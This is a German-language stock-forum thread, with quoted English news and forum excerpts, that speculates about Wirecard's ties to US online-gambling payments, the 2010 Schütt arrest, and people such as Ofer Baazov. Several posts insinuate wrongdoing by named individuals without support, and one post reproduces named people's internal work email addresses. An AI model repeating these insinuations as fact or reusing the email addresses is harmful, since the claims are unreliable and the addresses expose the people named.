      While using credit cards was usually a sure way to get money into a player account at an online casino, or poker room for that matter, it wasn’t the easiest way to withdraw funds. However, it’s not going to be that easy any more to use your VISA to put cash into your account.
      VISA has reported that they will begin preventing transactions labeled “online gambling” or with similar codes, as well as those transactions that go through a third-party payment system such as ewallets like Click2Pay or UseMyWallet. While the execution of the new policies don’t currently seem to be as serious as those put forth by MasterCard last month, it still has online casino operators and their US players worried, as both company’s bans apply only to US players.
      These actions recently set forth are most likely part of a bigger plan for these companies, as “financial institutions,” to comply with the UIGEA, which is set to be implemented on June 1, 2010.


      VISA HAT EINE WOCHE NACH DEM US-GERICHTSDOKUMENT click2pay und UseMyWallet für Zahlungen gesperrt, bitte dies im Kopf behalten!!!

      Moment... Man konnte also noch bis Februar 2010 ganz easy mit Visa für Casino EINzahlen, Problem war nur die AUSzahlung (dafür gab es ja den Geldboten Schütt).
      Die EINzahlung erfolgte zB bei FullTilt aber doch auch schon über ein Wirecardkonto. Warum das???
      Ich glaube, dass das angegebene Datum nicht passt

      ich habe eine andere Seite gesucht:
      Hier ist die derzeit abrufbare "aktuelle" Fassung:
      http://www.goonersguide.com/USA_payment_options_under_UIGA.h…
      Due to pressure on the financial services industry resulting from the Unlawful Internet Gambling Enforcement Act (UIGEA), payment options such as Neteller, Citadel, Firepay, eCheck, Instadebit, Instacash, Moneybookers, PaySpark, ATMOnline, Nexum, Central Coin, Click2Pay, PayPal and ECOcard are no longer available for US gamblers.(...)
      New online payment methods are emerging including EziPay, WIreCard, NuCharge, YouTeller, MyWebATM, PINcard/PINdebit, VirtualPIN, PIC-Club.com and QuickTeller, but how widely they will be accepted and their conditions of use are yet to be seen.


      Im Januar 2007 lautete der Text dort folgendermaßen:
      Due to fallout in the financial services industry resulting from the Unlawful Internet Gambling Act (UIGA), payment options such as Neteller, Citadel, Firepay, eCheck, Instadebit, Instacash, Moneybookers, Nexum, Central Coin and PayPal are no longer available for most US gamblers. Click2Pay are taking no new US customers.

      also schon vorhandene aaccounts wurden seitens Click2Pay noch bedient.

      Das stand da im Februar 2007 auch noch, ergänzt um
      New online payment methods are emerging, but how widely they will be accepted and their conditions of use are yet to be announced. They are un-tested - take care if you're considering using these until they have a bit of a track record! These options include WIreCard, NuCharge and YouTeller.

      seit Februar 2007 war also die Wirecard-VISA-Karte möglich, aber nur dann, wenn da nicht "Onlinegambling" draufstand. Man konnte sich daran halten - oder nicht. Sehe ich das soweit richtig?
      April2007 identisch, bis auf
      New online payment methods are emerging including EziPay, WIreCard, NuCharge, YouTeller and MyWebATM, but how widely they will be accepted and their conditions of use are yet to be announced.
      (EziPay und MywebATM kamen dazu)
      Ab August 2007 hieß es dann, "click2pay nicht mehr verfügbar" (ohne Einschränkung auf Neuanmeldungen)
      "new online payment methods" war 2006/2007 ein richtiger Modebegriff
      New payment systems are being investigated from companies such as Neteller (www.neteller.com), Wirecard (www.wirecard.com) and Chexx Inc (www.chexxinc.com). The online gaming industry is regarded as an innovator of new online payment methods designed to securely transfer money with customers around the world in many currencies.

      Das fand sogar Eingang in dieses Forum:
      http://www.wallstreet-online.de/diskussion/1047713-1-10/jumb…

      wurden die Änderungen auf dieser Seite zufällig vorgenommen?
      gibt es ähnliche Quellen und ergibt sich da eine andere timeline?

      Dankenswerterweise hat mir hier ein User genau diese Arbeit abgenommen
      http://www.surferspoker.com/showthread.php?t=20

      31/01/2007
      Wirecard.
      Full Tilt's new payment processer. Probably will be available at other sites.
      WireCard is a virtual MaterCard, Very easy to set up and use - Can use at
      mastercard accepted sites like Bodog and Absolute Poker

      Bodog also still offers Click2Pay, eWalletXpress, and credit cards. They
      have also recently added Western Union and bank wires as deposit options.
      Withdrawals are made through your original payment option or by check.

      Absolute Poker
      ePassporte, Wirecard and Click2Play are amonst their list of deposit options for U.S. players. Their withdrawal options include ePassporte and a check.

      Full Tilt Poker
      Accepting Wirecard, ePassporte, Click2Pay, credit cards and cash transfers.
      Withdrawals will be made via the player's deposit method or by check.

      20/02/07
      Latest Updates (20th Feb 2007) to this thread :-
      Wirecard has mainly been dropped, and MyWebATM has been adopted by several sites. Full Tilt for one are now using MyWebATM instead of Wirecard
      MyWebATM charges a monthly fee of $3.95
      Most sites have settled in with ePassport being a prefered option. Clicktopay also there on most sites (but not to new US customers).

      9/03/07
      venice, i dont see "wirecard" in FTPs deposit options?? can you clarify this?

      Antwort:
      I have edited in MywebATM into the last update, as this is still being accepted (certainly on Full Tilt at least). It is simply not being offered to anyone outside of the US, hence why I couldnt see it. But it is still there.
      With Wirecard (dirtracers question above), despite it being lined up as the big thing at one point, they arent being offered to US. Wirecard are the ones who set up MywebATM. They probably went this route in order not to put their most established brand (Wirecard) into any danger.

      Also: Wirecard und MyWebATM waren bei FullTilt aktiv, das dürfte unstrittig sein.
      Aber ab August 2007 änderte sich da etwas. Was aber?
      Schütts Geldbotendienste für FTP und andere begannen laut US-Dokuenten im November 2007. Das mag damit zusammen hängen. Nur frage ich mich dann, wieso man der Wirecard damals ohne große Nachprüfung geglaubt hat, dass sie keine Ahnung davon hatten. Oder haben sie das überhaupt gesagt? In einem Gomopaartikel, der aktuell online ist, steht dazu einiges drin
      http://www.gomopa.net/Pressemitteilungen.html?id=446
      Gegen die Wirecard AG aus Grasbunn liegt bei der Staatsanwaltschaft München I. seit einer Woche eine Anzeige wegen Geldwäscheverdachts vor. Der zuständige Ermittler sei Oberstaatsanwalt Wolfgang Natale. Auf eine entsprechende Anfrage des Fianznachrichtendienstes GoMoPa.net bestätigte die Pressesprecherin, Oberstaatsanwältin Barbara Stockinger: "Gegen die Wire Card liegt uns eine Anzeige vor, wir prüfen den Vorgang."

      Was hat er denn geprüft, der Herr Oberstaatsanwalt?
      Das FBI stürmte am 18. Februar 2010 das Luxusapartment von Schütt in Naples und warf dem Deutschen vor: Er habe seit dem 1. November 2007 ... 70 Millionen Dollar (51 Millionen Euro) aus Deutschland an 23.000 illegale Pokerspieler in den Vereinigten Staaten verteilt.

      Aha. An die Spieler, die bis August 2007 noch Click2Pay nutzen konnten?

      Und was passierte am 18.02.2010 im Forum?
      da verzocken sich gerade ein paar shorties! hoffe, dass bald die ersten anfangen ihre stücke zurück zu kaufen...wire hält sich super, trotz der drücker aktionen

      ich bleibe bei meiner meinung, ein paar shorties wollen den kurs drücken aber sie merken langsam, dass sie das nicht mehr schaffen

      25.02.2010 (1 Woche nach der Verhaftung!)
      Super da hat einer kalte Füße bekommen und fast 300.000 Stücke verkauft, wodurch der Kurs kurzzeitig auf 8,55€ gefallen ist.
      Und das zu 50.000ner Pakete. Echt toll.

      01.03.2010 (www.4investors.de) - Es ist schon einige Tage her, dass wir uns charttechnisch mit der Aktie von Wirecard beschäftigt haben. Damals hatte die Aktie gerade knapp die Unterstützungsmarke bei 8,42 Euro gehalten – anschließend kam es zu der erwarteten Aufwärtsbewegung in die Widerstandszone im Bereich zwischen 9,35 Euro und 9,50 Euro. Von dort ist Wirecards Aktienkurs wieder nach unten abgeprallt und hat am Freitag den Ausgangspunkt der vorangegangenen Aufwärtsbewegung wieder erreicht: Das Tagestief bei 8,41 Euro bedeutete einen erneuten Test der Unterstützung. Wie der Schlusskurs von 8,94 Euro zeigt, konnten die Bullen den Test erst einmal für sich entscheiden.

      immer noch nichts
      8.März 2010 (Schütt schon lange verhaftet)
      08.03.2010 15:11
      Mit der Fraud Prevention Suite gegen Betrug im internationalen E-Commerce / Wirecard AG stellt Weiterentwicklung im Risikomanagement vor
      Grasbrunn bei München (ots) - Die Münchener Wirecard AG stellt mit der Fraud Prevention Suite eine Weiterentwicklung in ihrer Risikomanagement-Produktlinie vor. Anhand einer verfeinerten Analytik fließen nun Betrugsmuster, die bei der elektronischen Online-Zahlungsabwicklung automatisiert erkannt werden, direkt in Regelwerke zur Bekämpfung von Betrug im internationalen E-Commerce ein. Mit der Fraud Prevention Suite erhält der Händler bestmögliche
      Betrugserkennung bei gleichzeitiger Minimierung der Anzahl von fälschlicherweise als betrugsverdächtig eingestuften Transaktionen.
      Denn auf Basis von Bestandsdaten werden Regelsets mittels integrierter Simulationsfunktionen optimiert, um das Verhältnis des erkannten Betrugs zu abgelehnten regulären Transaktionen zu bewerten.
      International agierende Händler sind nicht nur häufiger Betrugsversuchen, sondern auch vielfältigeren Betrugsmustern ausgesetzt als Händler in einem nationalen Umfeld. Insbesondere bei der Kreditkartenabwicklung auf globaler Ebene gilt es, Betrug besser und schneller zu erkennen und präventiv gegenzusteuern.
      "Der Online-Betrug nimmt international an Raffinesse zu", sagt Heiner Kallweit, Head of Product Line Risk&Fraud Prevention bei der Wirecard AG. "Auf Basis unserer langjährigen Erfahrung [hust,hust] haben wir in Kombination mit neuen Softwareentwicklungen eine Lösung aufgebaut, die, basierend auf umfangreichen Möglichkeiten zur Analytik von
      Bestandsdaten, den Online-Betrug erkennt, bevor der Schaden entstehen kann" und fährt fort: "Dabei sind die Verhaltensmuster je nach Branche komplett unterschiedlich, so dass es erforderlich ist, branchenspezifische betrugsrelevante Parameter in die Betrugserkennung einfließen lassen. Bei Fluggesellschaften sind dies zum Beispiel die Flugstrecke, die Zahlungsart, die Flugklasse oder Vorausbuchungsfristen. Selbst komplexe Muster erkennt das System, um
      echte Transaktionen von betrügerischen zu unterscheiden."
      Die Wirecard AG hat ihre neue Lösung Fraud Prevention Suite an die jeweiligen Anforderungen in den Kernbranchen des E-Commerce angepasst: Konsumgüter, Fluggesellschaften/Touristik und Digitale Güter.


      12.03.2010, ARIVA bringt eine unfassbare Meldung heraus
      Die Börsengeschichte von Wirecard ist spannend und dramatisch zugleich. Nach dem Börsengang Ende des Jahres 2000 ging es im Sog der geplatzten New Economy-Kursblase zunächst rasant abwärts. Von den anfänglichen Notierungen um bis zu 25 Euro blieb bis Ende 2002 nicht einmal 1 Euro übrig. Wirecard wurde zum Pennystock. Im Anschluss dümpelte die Aktie bis zum Jahr 2005 um die zwei Euro-Marke. Dann ging es Schlag auf Schlag nach oben, auf 6 Euro Ende 2006 und 10 Euro Ende 2007. Es schien gerade richtig rund zu laufen, da fand die Story ein jähes Ende.

      Im Sommer 2008 wurden Wirecard von Seiten der Schutzgemeinschaft der Kapitalanleger Unregelmäßigkeiten in der Bilanzierung vorgeworfen. Solche Nachrichten sind Gift für den Aktienkurs – häufig selbst dann, wenn es sich nur um ein Gerücht handelt, da Unsicherheit bei den Investoren entsteht. Das Unternehmen wehrte sich vehement gegen die Anschuldigungen, aber der Vertrauensverlust war dennoch immens. Der Kurs stürzte schnell ab, zwischenzeitlich sogar unter die 3 Euro-Marke. Bis Anfang 2009 pendelten sich die Notierungen um 4 Euro ein. Schließlich gelang der Aktie das ersehnte Comeback: Im Laufe des Jahres 2009 legte sie etwa 150 Prozent auf rund 10 Euro zu.

      Vielleicht schon als Vorbereitung? Wer weiß...

      Später sagte die Wirecard angeblich folgendes aus
      "Unseren Auslandsza­hlungsverk­ehr lassen wir über eine deutsche Korrespond­enzbank abwickeln [WestLB].­ Dort werden - wie auch bei der Wirecard Bank - über ein im Markt etablierte­s Geldwäsche-­Relevanz-S­ystem (Genosonar­system) ein- und ausgehende­ Zahlungen automatisi­ert geprüft.
      Von unserer Korrespond­enzbank erhielten wir im Februar 2010 einen Hinweis im Hinblick auf auffällige­ Zahlungsvo­rgänge der Bluetool. Wir haben dann unserersei­ts die Transaktio­nen einer Einzelprüfung unterzogen­ und das Konto Anfang März vorsorglic­h geschlosse­n und gleichzeit­ig Anzeige wegen Verdachts auf Geldwäsche erstattet.­ Dies entspricht­ dem in solchen Fällen üblich­en Vorgehen. Weder bei Kontoeröffnun­g noch bei den Transaktio­nen ergaben sich Auffälligk­eiten. ...

      Das haben die doch nicht ernsthaft ausgesagt? Das Konto geprüft, nachdem Secret Service und FBI längst alle Banken befragt hatten? Das Konto gesperrt, als Schütt schon in Haft war? Davon gewusst, dass Millionen an illegalen Geldern geflossen sind und nichts gesagt?

      Im Thread war dann tagelang Pause. Kein Posting, nichts. Die letzten Meldungen kamen von Leuten "die mal raus sind aus Wirecard, um spätzer billiger einzusteigen"

      Dann kam der 17. März
      was ist denn hier los?

      Ganz einfach. Da treiben Banken wieder ihr dreckiges Spiel! Damit werden OS zerstört, wobei die Banken die großen Gewinner mal wieder sind.


      Also ich habe heute folgendes gelesen, wenn das mit Wirecard zusammenhängt, dann sieht es schlecht aus...
      Deutscher Casino - Treuhänder in Florida verhaftet....Bislang hat das FBI festgestellt, dass Schütt allein bei der Bank of America in den letzten drei Jahren mindestens 40 Konten eröffnet hat.

      Der Gomopa-Artikel war vom 02. März 2010

      Hat die wirecard das Konto womöglich erst nach dem Artikel von Gomopa gesperrt???

      17.03.2010
      Zitat von cenwen: ...Die Vorwürfe gegen Schütt füllen 39 DIN-A-4-Seiten. (...) Große Mengen an Geld stammen von der International Payment Systems, einem deutschen Unternehmen, und von einer Bluetool Limited aus Großbritannien.
      International Payment System ist Partner von Wirecard....

      Das stimmte natürlich nicht
      Zitat von binda: International Payment System ist Partner von Wirecard....
      Woher hast Du diese Info???
      Oder hast Du Dich ( wie viele andere auch) hiermit vertan??
      Wirecard AG und International Payment Solutions (Shanghai) Limited ("IPS") haben ... Wirecard und Symmetric Systems schließen strategische Partnerschaft
      http://www.wirecard.de/presse/pressemeldungen/presseberichte…


      17.03.2010
      Zitat von xxx777: http://www.scribd.com/doc/28262676/Criminal-Court-Complaint-…
      schaut euch mal die
      Strafanzeige der FBI an!!!
      http://www.scribd.com/doc/28262676/Criminal-Court-Complaint-…
      der Schuett hat die Auszahlungen für die Wirecard Bank organisiert!!!
      Von wegen die wissen davon nix.
      das ist jetzt ne sehr heisse Kiste !!!!!


      Zitat von binda: Danke kalinke
      Sehe es aber auch so, dass ein Kunde der Wirecardbank, über sein dort bestehendes konto , diese gelder gewaschen hat.
      Deswegen ist aber nicht die betreffende Bank kriminell.


      irgendein Kunde, irgendwelche Gelder, keine Ahnung. Als er eingesperrt war, haben wir auch gemerkt, dass da was nicht stimmt.

      Zitat von xxx777: Schaut die Fussnote Seite 16 an
      frei übersetzt die Gelder der www.ultimatebet.com
      kommen über Wirecard.
      Die Kunden haben die Möglichkeit die Rückzahlungen über Checks zu bekommen. Das hat dann Schütt für Wirecard gemacht .


      Zitat von computing: Hm, also entweder ich kann kein Englisch mehr oder da steht nur, das die Anbieter ultimatebet.com die Wirecard Bank benutzt haben um Geld an Bluetool ltd zu überweisen, die dann wieder irgendwelche Schecks an die Spieler ausgestellt haben.

      Nicht das die Bank selber irgendwelche Webseiten betreibt. Und das Gelder von a nach b überwiesen werden soll zum Geschäftsmodell von Banken gehören.


      Das ist aber denke ich konsistent mit der Meinung einiger Forenuser hier (inkl. meiner), dass er nach bisherigem Kenntnisstand lediglich Bankkonten der Wirecard Bank AG verwendet hat, nicht aber direkt eine Beziehung zum Unternehmen (oder in deren Auftrag gehandelt) hat.


      Tja. So war das damals mit dem Schütt und der Wirecard.

      und mywebATM wurde benutzt, um die Marke Wirecard nicht zu gefährden:
      http://de.slideshare.net/FrankSobotka/5108-my-webatm-1436671…

      und die Wirecard wusste ja von gar nichts was
      These are INTERNAL and not to be given to player’s.
      NETELLER < Investigations@neteller.com >
      MyWebATM < charles@opusfinancials.com >
      ePassporte < brian.branam@epassporte.com >, and < annelies.manuel@epassporte.com >
      Click2Pay < martin.osterloh@wirecard.com >


      epassporte (Christopher Malick) wurde übrigens in 2010 von VISA abgeschaltet
      http://krebsonsecurity.com/2010/09/visa-blocks-epassporte/
      “Visa is committed to maintaining the integrity of its global payment network and routinely conducts due diligence to ensure Visa prepaid programs adhere to the company’s stringent program requirements and controls.”


      aber Wirecard nicht.

      übrigens
      Fakt ist, dass nur weil eine Anzeige gegen Wirecard besteht, Wirecard noch lange nicht irgendwas mit Schuett zu tun hat. Das ist unfug und ich persönlich glaube auch nicht daran. Oder wird jetzt auch gegen all die anderen Banken ermittelt, bei denen Schuett ein Konto hatte, sprich Bank of America, CNL Bank usw…?
      Stellen Sie sich mal vor, da begeht ein Terrorist einen Selbstmordanschlag mit einem Volkswagen und es werden Ermittlungen gegen Volkswagen erhoben, als wären die darin verwickelt.

      Das mit dem Volkswagen stammt auch aus diesem Forum, in dem - wie erwähnt - bereits am 17. März geschrieben wurde, dass Schütt im Auftrag der Wirecard gehandelt hat.

      Da war das Gerichtsdokument bereits seit 1 Monat bekannt.

      Und nun denkt mal scharf nach
      1 Antwort
      Avatar
      schrieb am 01.05.16 04:18:14
      Beitrag Nr. 78 ()
      Antwort auf Beitrag Nr.: 52.318.078 von jigajig am 01.05.16 02:09:55
      Zitat von jigajig: 9/03/07
      venice, i dont see "wirecard" in FTPs deposit options?? can you clarify this?

      Antwort:
      I have edited in MywebATM into the last update, as this is still being accepted (certainly on Full Tilt at least). It is simply not being offered to anyone outside of the US, hence why I couldnt see it. But it is still there.
      With Wirecard (dirtracers question above), despite it being lined up as the big thing at one point, they arent being offered to US. Wirecard are the ones who set up MywebATM.


      vorläufige Korrektur: Ich konnte keine Bestätigung finden, dass MyWebATM etwas mit der Wirecard zu tun hat. Nach etwas Recherche fand ich ein SEC-Dokument, demnach:
      ...

      sept 2004
      EyesOnly, LLC has been formed but has no activity due to
      the lack of funds by the Company to provide the BankEyesOnly Cash Pads.

      die Geschichte der Firma ist mir für 4 Uhr nachts zu komplex
      http://www.secinfo.com/dUgwf.1H5.htm#i7k
      Avatar
      schrieb am 01.05.16 04:48:12
      Beitrag Nr. 79 ()
      aha

      ?? mywebatm.com 2006 my web atm

      http://merchantservicereportsandnews.blogspot.de/p/special-i…

      Posted: Sun Feb 04, 2007 10:17am

      Someone over at 2+2 emailed MyWebATM with some questions, especially about all the personal info they request, and got this reply:

      We surely understand your apprehension about giving your personal information.

      mywebATM is simply a private labeled debit card. The company that issues the card is Transactional Services S.A of Panama. The TransysaR Card Services program offers financial institutions a turnkey card issuing and maintenance program, including card and mailer personalization, custom material creation, complete mailing capabilities, card activation services, and inventory and management control.

      Transysa Card Services employs the most technologically advanced hardware and software in a facility fully certified by both VisaR and MasterCardR. As the leading electronic payments network, Transysa is recognized for developing and supporting effective, customer-friendly electronic banking programs. Use our strength to build a better EFT program.

      We required the amount of personal information for both our safeties. This ensures that we can continue to offer a quality product at a reasonable price without having to pass on the cost of fraud.

      mywebATM Customer Support
      Panama City, Panama


      muß ein Riesenschwindel gewesen sein, das Ganze

      Basically MyWebATM is some sort of pre-paid debit card. They do issue physical cards that can be used at normal ATM’s which make them more viable than WireCard but there are some fundamental flaws that I believe will make this a no-go for enough people that the products is effectively DOA.



      So if you go to transysa.com you see they offer the PINpago card, and if you go to pinpago.com, it's basically the same thing as MyWebATM. MyWebATM is a relabeled PINpago card marketed specifically to Full Tilt users.

      http://www.livepokerforum.com/lpf-community-f20/ftp-announce…

      PINPAGO, aber keine wirecard in Sicht

      LOS ANGELES--(BUSINESS WIRE)--Oct. 28, 2003

      Bentley Communications Corp. (OTCBB:BTLY), the emerging leader in the online trade and barter industry, has signed an Independent Sales Office (ISO) agreement with HMSBLUE Corp. to provide transaction processing services including credit, debit, online checks, ACH, loyalty and gift card issuing and acquiring. Bentley will offer these services to the estimated 50,000 companies that trade through the exchanges on its Crump Barter Network.

      Bentley will offer a host of programs and products through HMSBLUE for merchants that want to accept credit and debit card payments. This includes Internet Payment Gateway (iPG) which provides merchants using electronic commerce with a cost-effective and robust way to securely process payment cards and ACH transactions through the Internet in real-time, and iSwipe which reduces costs by processing swipe (card present) transactions through the internet, in addition to terminal based hardware and software POS solutions.

      Bentley will also offer HMSBLUE's stored value, gift and loyalty card programs that are powered by eBusiness Secure & Guaranteed(TM), developed by HMSBLUE's sister company Oncaldera Corp. This includes PINpago, a payment product for internet transactions where financial institutions authenticate their customers (buyers), and send guaranteed payments to merchants (sellers).

      About HMS:

      HMSBLUE, based in Los Angeles, is a technology-driven, business-to-business provider of comprehensive merchant authorization, settlement and accounting systems as well as a broad range of Point-of-Sale products and services. HMSBLUE, a Visa and MasterCard registered ISO/MSP of the J P Morgan Chase Bank, offers Credit, Debit, online checks, ACH, loyalty and gift card issuing and acquiring services.

      About Bentley Communications Corporation:

      Bentley is a business-to-business, Internet e-commerce company that seeks to establish a new marketplace and distribution channel for worldwide barter and trade. Bentley is working towards becoming the online "market maker" for the barter industry -- a neutral intermediary that brings together fragmented multiple groups of buyers and sellers online. Through the development of a seamlessly integrated family of online barter services, it envisions that most barter transactions can be handled in real time, with proprietary software. Bentley intends to serve as a clearinghouse for barter trades for fortune 500 trading partners, scores of existing retail barter exchanges that serve companies of all sizes, corporate barter companies that serve large multinational corporations, trade associations and their member companies, as well as media and travel agencies.
      Avatar
      schrieb am 01.05.16 05:20:10
      Beitrag Nr. 80 ()
      ??
      Richard Gordon
      wer ist DAS nun schon wieder
      http://www.nytimes.com/2008/05/18/technology/18gordo.html?_r…

      While riches were being minted and squandered in the dot-com ’90s, Mr. Gordon made a fortune by taking a commission for processing sales on a range of sites from small, mainstream retailers to others like ClubLove, which published the Pamela Anderson-Tommy Lee sex tape. Today, his payment processing company continues to have roots in the world of sexual entertainment.

      Pamela Anderson/Tommy? Das war doch die Mafia?

      Quickly after working for her father, Ruth Parasol quickly becameheavily involved in the porn adult industry. In 1994, Parasol joined with Seth Warshavsky to start several companies developing adult phone-sex services and internet porn sites. [Parasol/Warshawsky/Knobel --> Das waren die ersten Dialer überhaupt! Man lese mal die australischen Gerichtsdokumente diesbezüglich!] They formed Internet Entertainment Group Ltd. in 1995 and launched an adult rated “peep show” website, Clublove.com. Most are familiar with the Internet Entertainment Group from their distribution of the infamous Pamela Anderson and Tommy Lee sex video. Due to litigation threats Parasol decided to sell her
      49% ownership in these companies in 1996.


      Mr. De Petro and five other former employees from this time say that CryptoLogic, an early Canadian online gambling network, was one large client. They also say that Mr. Gordon processed credit card transactions for ClubLove and other sites owned by the Internet Entertainment Group, now defunct, which offered pornographic photographs and videos for a monthly membership fee.

      “He was the house for Internet porn in the early days,” said Steven Peisner, a veteran of the card processing industry who worked for Electronic Card Systems in 1997. “At that time, if you had anything to do with Internet porn, you called Electronic Card Systems.”


      Dann war er der Kreditkartenabrechner der Mafia???

      In 1999, to take advantage of the dot-com gold rush, Mr. Gordon combined many of these companies into a single entity, CreditCards.com, according to a company press release at the time. But the company was having financial problems. Former employees say they remember paychecks occasionally bouncing and leased furniture being repossessed.

      According to documents filed with the bankruptcy appellate panel of the United States Court of Appeals for the Ninth Circuit, Mr. Gordon brought in new partners from Nashville in 1999 and borrowed several million dollars from them, using his stock as collateral.

      The documents, filed as part of litigation relating to business disputes at the company, say that when Mr. Gordon could not pay his partners back, they removed him. The company is now called iPayment and is based in Nashville.

      “He played so many games that eventually he got played himself,” says Masih Madani, the former chief technology officer of CreditCards.com, referring to Mr. Gordon.


      und dieser Madani soll hinter mywebATM stecken - nicht die wirecard
      Avatar
      schrieb am 01.05.16 17:43:23
      Beitrag Nr. 81 ()
      Zitat von Rentfort: Oder: Was Wirecard uns glauben machen will und wie es sich wirklich darstellt.

      versteh ich nicht, muß ich lesen
      Avatar
      schrieb am 02.05.16 23:32:19
      Beitrag Nr. 82 ()
      Wie Herr Prutsch dann feststellte, hat Herr Hansch am 7. Februar 2007 als damaliger Geschäftsführer der Enkelgesellschaften Inatec und Webtrade die Kopie mehrerer hunderttausend Daten des Konkurrenzunternehmens Jazette von einem Server der Inatec GmbH veranlasst. Hierzu bat Herr Prutsch um eine Stellungnahme. Wie Herr Hansch daraufhin betonte, wurde von ihm eine standardmäßige Datensicherung veranlasst und von Herrn Glockemann als IT-Spezialisten überwacht. Dieser Vorgang wurde Jazette nicht mitgeteilt. Hinsichtlich des Verkaufs der Genpage-Gruppe, zu der Inatec und Webtrade gehören, sah der Vorstandsvotsitzende aber kein Risiko aufgrund der Datensicherung.

      warum erinnert mich das an Eurodebit und an Wire Card AG?
      Ein weiterer Punkt, der von vielen Aktionären angesprochen wurde, war der Strafantrag gegen das frühere Vorstandsmitglied Binsner. Laut Herrn Loch hat die Gesellschaft am 10. Juli 2007 in Frankfurt Strafanzeige gegen Herrn Binsner gestellt. Am 7. Februar 2008 kam es zunächst zu einer Schadensersatzklage über 1 Mio. Euro, allerdings gehe man bei MioBet von einem Schaden in Höhe mehrerer Millionen Euro aus. Herr Binsner sei auch nicht abgetaucht, da die Klage zugestellt wurde. Bei dieser sei auch keine Frist versäumt worden, wie Herr Prutsch mutmaßte, da die Klage nicht fristgebunden sei. In diesem Zusammenhang teilte der Aufsichtsratsvorsitzende auch mit, dass Herr Binsner nicht abberufen wurde, sondern dass dieser sein Amt am 8. Dezember 2006 niedergelegt hat. Die Strafanzeige wurde dabei vom Vorstand im Einvernehmen mit dem Aufsichtsrat gestellt.

      wer ist dieser Oliver Binsner? Und wer ist Herr Prutsch?
      Genauere Auskünfte verlangte Herr Prutsch auch zu den Gesellschaftern oder Aktionären der Market Alliance Agency Ltd. Die Gesellschafter der Market Alliance benannte Herr Hansch mit Safe Holdings Ltd. Zu den wirtschaftlichen Eigentümern wollte sich der Vorstandsvorsitzende jedoch nicht äußern, da dies der Gesellschaft Schaden zufügen könnte.
      Auf die Frage nach den Gründen für die vorgeschlagene Satzungsänderung unter TOP 5 erklärte Vorstandsmitglied Elke Hansch (--> Zhapa Holdings!), die Gesellschaft wolle nicht dauerhaft Aufbewahrungsstelle für die Aktien sein, außerdem erfolge mit dem Beschluss eine Klarstellung hinsichtlich der Teilnahme an der Hauptversammlung. Der Aktionär Prutsch vertrat die Auffassung, die Digital Media N.V. sei noch oder sei Mehrheitsaktionär gewesen, und deshalb müsse ein Abhängigkeitsbericht erstellt werden, zumal Herr Hansch auch Director dieser Gesellschaft sei. Da nach dem Kenntnisstand der Gesellschaft Digital Media nicht Mehrheitsaktionär ist, sei auch kein Abhängigkeitsbericht erstellt worden, betonte Frau Hansch.
      ... Aktienbesitz von Digital Media an MioBet...
      ...Derzeit halte MioBet keine eigenen Aktien und die Höhe des Anteilsbesitzes von Digital Media könne sie nicht nennen, da keine Meldung nach §20 AktG vorliege.
      Avatar
      schrieb am 02.05.16 23:37:14
      Beitrag Nr. 83 ()
      Oliver Binsner, Jens Leinert --> Pegasus Beteiligungen (2002)

      Robert G Loch
      Der Aufsichtsrat der in Insolvenz befindlichen Gold-Zack AG, Mettmann, hat heute Herrn Hans Wrieden, Dreieich, zum seinem Vorsitzenden sowie Herrn Robert G. Loch, Neu-Isenburg, zum neuen Vorstand bestellt.

      Organisation
      Die Betonusa AG ist Konzernholding für ihre operativen Tochtergesellschaften Internet Empire Entertainment Ltd., St. John, Antigua und 9088-9437 Quebec Inc., die unter dem Namen Cybertronix, Montreal - St. Laurent, Kanada handelt. Die Betonusa AG vereinnahmt ausschließlich Beteiligungserträge. Ihre Tätigkeiten als Konzernholding am Standort in Hannover umfassen unter anderem die strategische Führung, das Finanzmanagement und das Controlling sowie die Steuerung und Koordination.

      Die folgende Übersicht gibt einen Überblick über die aktuelle Konzernstruktur von Betonusa:

      Organisation


      Management - Vorstand
      Craig Levett, Vorstandsvorsitzender (CEO)
      - Wirtschaftsberater mit Erfahrung im Online Gaming Bereich seit 1999
      - Hat IEE Ltd. Antigua mit aufgebaut

      Elke Hansch-Sood, Vorstandsmitglied
      Kauffrau

      Management - Aufsichtsrat
      Robert G. Loch (Aufsichtsratsvorsitzender)
      Kaufmann

      Ralf-Arno Sood (stellvertretender Vorsitzender)
      Ingenieur

      Ofer Baazov (Mitglied des Aufsichtsrats)
      Kaufmann


      ca. 2006

      OFER BAAZOV!!!
      1 Antwort
      Avatar
      schrieb am 02.05.16 23:48:49
      Beitrag Nr. 84 ()
      https://www.ftc.gov/es/node/79242

      1996!!

      FTC Hits the "Jackpot": Announces Enforcement Actions Against Phony Prize Promotions and a Recovery Room
      State Attorneys General and U.S. Postal Service Join Effort
      (...)
      “Project Jackpot,” a major enforcement effort targeting firms that fraudulently offer purportedly valuable prizes to consumers to induce them to purchase products, was announced today by federal and state officials. The joint investigation, coordinated by the Federal Trade Commission, has resulted in 56 enforcement actions against 79 defendants in 17 states. Additionally, in what marks the first effort to combat prize promotion telemarketing fraud across the border, the FTC brought charges against a company located in Montreal, Quebec, Canada. Prize promotion scams, which historically have been some of the most plentiful scams in the United States, are now one of the fastest growing scams outside the country targeting U.S. citizens. The FTC filed eight actions, the State Attorneys General filed 43 actions, and the U.S. Postal Service filed five actions.
      (...)
      The complaints in seven of the FTC’s cases were filed under seal this week and last. Seals have now been lifted in the following cases:
      (...)
      (7) Incentive International 9013-0980 Quebec Inc., doing business as Incentive International, Incentives International, and Pegasus Industries (File No. 962 3231) is a company located in Montreal, Quebec, Canada. The FTC charged that this firm engages in cross-border telemarketing fraud. Incentive calls senior citizens in the United States and tells them they have won valuable prizes. In fact, according to the FTC, consumers receive travel certificates, radios, or air purifiers worth a fraction of the hundreds or thousands of dollars that consumers pay to Incentive. The company allegedly also fails to disclose, clearly and conspicuously, that no purchase is necessary to win a prize, the method to enter the prize promotion without purchase or payment, and the odds of winning each potential prize. Defendant Ofer Baazov owns Incentive, and defendant Joshua Baazov is an officer of Pegasus Industries. Both individuals are named as defendants in the FTC’s complaint.

      2003
      Thread Title: BETONUSA OWNED BY TELEMARKETING SCAMMERS, AS IS PYRAMID CASINO
      Created On 09/11/2003 11:42 PM

      Incentive International (9013-0980 Quebec Inc., d/b/a Incentive International, Incentives International, and Pegasus Industries); Joshua Baazov; Ofer Baazov
      The Commission alleged that this Canadian firm and two principals engaged in cross-border telemarketing fraud, calling senior citizens in the United States and telling them they had won valuable prizes if they purchased certain merchandise. In fact, the Commission said, consumers received premiums worth a fraction of the money they spent on purchases. The order requires the defendants to pay almost $777,000 for consumer redress. It also prohibits them from misrepresenting facts about prize promotions in the future and from violating the Telemarketing Sales Rule.


